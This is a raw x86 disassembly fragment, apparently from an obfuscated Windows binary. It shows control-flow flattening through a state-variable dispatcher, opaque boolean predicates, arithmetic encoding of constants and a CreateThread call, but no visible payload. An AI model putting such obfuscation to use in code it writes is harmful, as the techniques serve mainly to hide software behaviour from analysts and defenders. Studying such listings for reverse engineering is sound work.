xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov bl, ah
and bl, 1
mov byte [ebp - 0xedd], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0xedc], al
mov al, byte [ebp - 0xedd]
or cl, al
mov al, byte [ebp - 0xedc]
or bl, al
mov al, byte [ebp - 0xedb]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xeda], al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
and dl, 1
mov dh, 1
xor dh, 1
mov al, dh
and al, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or dl, al
mov al, byte [ebp - 0xeda]
or ah, dh
xor dl, ah
mov byte [ebp - 0xed6], dl
mov ah, al
xor ah, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0xed7], dl
mov dh, 1
xor dh, 0
mov dl, ah
and dl, 0
and al, dh
mov byte [ebp - 0xed9], al
mov al, byte [ebp - 0xed7]
and al, 0
mov byte [ebp - 0xed8], al
mov al, byte [ebp - 0xed9]
and cl, dh
or dl, al
mov al, byte [ebp - 0xed8]
or al, cl
mov cl, byte [ebp - 0xed7]
xor dl, al
mov al, byte [ebp - 0xed6]
or ah, cl
mov cl, byte [ebp - 0xed4]
xor ah, 0xff
or dh, 0
and ah, dh
or dl, ah
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0xece]
or ah, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or ah, dh
or dl, 0
xor ah, 0xff
and ah, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and al, dl
or dh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0xed5], al
mov al, 1
xor al, 0
and cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
and dh, al
mov al, byte [ebp - 0xed5]
or al, cl
mov cl, byte [ebp - 0xed4]
or dl, dh
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov cl, bl
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov byte [ebp - 0xed3], al
mov cl, bh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xed3]
or cl, bh
or dh, bl
xor cl, dh
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 0xff
mov cl, 1
xor cl, 1
or al, bl
or cl, 1
xor al, 0xff
and al, cl
mov bh, ah
xor bh, 0xff
and bh, 0
mov bl, 1
xor bl, 0
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or bh, ah
or cl, dl
xor bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xed2], ah
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov bl, dl
and bl, 0
and bh, cl
or ah, al
mov al, byte [ebp - 0xed2]
or bl, bh
xor ah, bl
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, bh
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
mov al, ah
and al, bh
or cl, al
xor cl, 0xff
mov bh, 1
xor bh, 0
mov al, 1
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
xor bl, 0xff
mov al, ah
xor al, bl
and al, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dl, cl
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, dl
and dh, 0
and cl, bl
mov byte [ebp - 0xed1], cl
mov cl, bh
and cl, 0
and al, bl
mov byte [ebp - 0xed0], al
mov al, byte [ebp - 0xed1]
or dh, al
mov al, byte [ebp - 0xed0]
or cl, al
mov al, byte [ebp - 0xecf]
xor dh, cl
mov cl, byte [ebp - 0xece]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov byte [ebp - 0xecd], dl
mov ah, ch
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov dh, al
xor dh, 0xff
mov ah, ch
and ah, dh
xor ch, 0xff
and al, ch
or ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov dl, 1
xor dl, 0
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
or bl, ah
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, bh
or ah, ch
xor al, ah
mov ch, 1
xor ch, 0
mov ah, al
xor ah, ch
and ah, al
mov ch, 1
xor ch, 1
xor bl, 0xff
mov al, 1
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
mov ah, dl
and ah, ch
xor dl, 0xff
and al, dl
or ah, al
mov bh, 1
xor bh, 1
mov dl, cl
xor dl, 0xff
mov al, 1
xor al, 1
or bh, dl
or al, 1
xor bh, 0xff
and bh, al
mov bl, 1
xor bl, 1
and bl, 0
mov ch, 1
xor ch, 0
mov dl, ch
and dl, 1
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or bl, dl
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, ch
or dl, ah
xor bh, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, 1
xor cl, 1
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
mov al, dl
and al, 1
mov bl, ch
and bl, 0
and bh, dl
or ah, al
mov al, byte [ebp - 0xecd]
or bl, bh
xor ah, bl
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or ah, dl
mov byte [ebp - 0xec7], ah
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
or dl, ch
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
mov byte [ebp - 0xec6], ch
mov dh, 1
xor dh, 1
mov bh, ah
xor bh, dh
and bh, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0xeca], ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and bh, ch
mov byte [ebp - 0xecc], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0xecb], al
mov al, byte [ebp - 0xecc]
or dh, al
mov al, byte [ebp - 0xecb]
or bh, al
mov al, byte [ebp - 0xeca]
xor dh, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
and al, bl
mov byte [ebp - 0xec9], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xec8], al
mov al, byte [ebp - 0xec9]
and cl, bl
or ch, al
mov al, byte [ebp - 0xec8]
or al, cl
mov cl, byte [ebp - 0xec7]
xor ch, al
mov al, byte [ebp - 0xec6]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x693a1e83
mov ecx, 0xede2cb03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x1f48d7c2
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x4ff7da47
jmp 0x4c0c7f
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x1d], al
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
xor esi, esi
sub esi, 0xf88d57c
add esi, 0
mov edx, eax
sub edx, 0xe7fe17cc
sub edx, esi
add edx, 0xe7fe17cc
add edx, 0xe8a54ea
add edx, 0x4a44d57
sub edx, 0xe8a54ea
sub edx, 0x51b980e2
sub edx, 1
add edx, 0x51b980e2
add edx, 0xef5b6f76
sub edx, 0x4a44d57
sub edx, 0xef5b6f76
xor esi, esi
sub esi, 0xf88d57c
add esi, 0
add edx, 0xa0bb73b0
add edx, esi
sub edx, 0xa0bb73b0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov ch, ah
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or al, ch
or cl, dl
xor al, cl
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xf3b], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ch, 1
xor ch, 0
and ch, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
xor ah, 0xff
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, bh
and cl, dh
or al, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
xor bh, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or bh, ch
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0xf3b]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov ch, cl
xor ch, 0xff
mov dl, ah
and dl, ch
xor ah, 0xff
and cl, ah
or dl, cl
mov dh, al
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, ch
or cl, ah
xor dh, cl
mov byte [ebp - 0xf35], dh
mov bh, dl
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov ch, dl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
mov byte [ebp - 0xf34], ah
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or dh, ch
or cl, 0
xor dh, 0xff
and dh, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
mov bl, bh
xor bl, cl
and bl, bh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0xf38], cl
mov cl, dh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and dh, dl
mov byte [ebp - 0xf3a], dh
mov dh, ch
and dh, 0
and al, dl
mov byte [ebp - 0xf39], al
mov al, byte [ebp - 0xf3a]
or ah, al
mov al, byte [ebp - 0xf39]
or dh, al
mov al, byte [ebp - 0xf38]
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
and bl, ch
mov byte [ebp - 0xf37], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0xf36], al
mov al, byte [ebp - 0xf37]
or dl, al
mov al, byte [ebp - 0xf36]
or bl, al
mov al, byte [ebp - 0xf35]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0xf34]
or dh, bh
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1de4b924
mov ecx, 0x2b6790b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x5eb4cd3d
jmp 0x4c0c7f
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x1b4], 0x1bce5c70
jmp 0x4c0c7f
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0xc8]
xor eax, eax
sub eax, 0
xor edx, edx
sub edx, 0x6b4d4720
add eax, edx
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, esi
add edx, eax
xor eax, eax
sub eax, 0x6b4d4720
add edx, eax
mov eax, 0x36abd7b8
add eax, 0
sub eax, edx
sub eax, 0x36abd7b8
add ecx, 0x504b207b
sub ecx, eax
sub ecx, 0x504b207b
mov eax, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
sub ecx, 0xabe4c65f
sub ecx, 0x98caccc8
add ecx, 0xabe4c65f
add ecx, 0x2f7f2d3
sub ecx, 0xf50d97b8
sub ecx, 0x2f7f2d3
add ecx, 0x15fbf788
add ecx, 0x98caccc8
sub ecx, 0x15fbf788
mov edx, 0x8a3c8227
add edx, 0
sub edx, eax
sub edx, 0x8a3c8227
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, 0x80403508
sub eax, ecx
add eax, 0x80403508
xor ecx, ecx
sub ecx, 0x393f7ef4
sub ecx, 0xf50d97b8
add ecx, 0x393f7ef4
add eax, 0x283daab6
add eax, ecx
sub eax, 0x283daab6
xor ecx, ecx
sub ecx, eax
add ecx, 0
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov dword [eax], 0
mov dword [ebp - 0x1b4], 0x32572ced
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x4308caf0
jmp 0x4c0c7f
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1b4], 0x74af63df
jmp 0x4c0c7f
mov eax, dword [ebp - 0xa8]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x174]
mov esi, dword [eax]
mov ecx, 0x4821f72
add ecx, 0
sub ecx, 0x45b72a7a
sub ecx, 0x4821f72
xor eax, eax
sub eax, esi
add ecx, eax
sub ecx, 0x462cb1c9
add ecx, 0x45b72a7a
add ecx, 0x462cb1c9
mov eax, 0xdc008c25
add eax, 0
sub eax, edx
sub eax, 0xdc008c25
mov edx, 0xc6b7601e
add edx, 0
add edx, eax
sub edx, 0xc6b7601e
xor eax, eax
sub eax, 0xda0ce6db
sub eax, edx
add eax, 0xda0ce6db
sub ecx, 0x52c9ebad
sub ecx, eax
add ecx, 0x52c9ebad
mov eax, 0xdd639fb4
add eax, 0
sub eax, ecx
sub eax, 0xdd639fb4
xor ecx, ecx
sub ecx, 0xf8433a3b
add ecx, eax
add ecx, 0xf8433a3b
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0xd228078
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0xa28b9bdc
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0xf2004813
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x7d237e2a
jmp 0x4c0c7f
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1b4], 0x12851517
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x121b4a64
jmp 0x4c0c7f
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0xef4e8fb3
jmp 0x4c0c7f
jmp 0x487f2d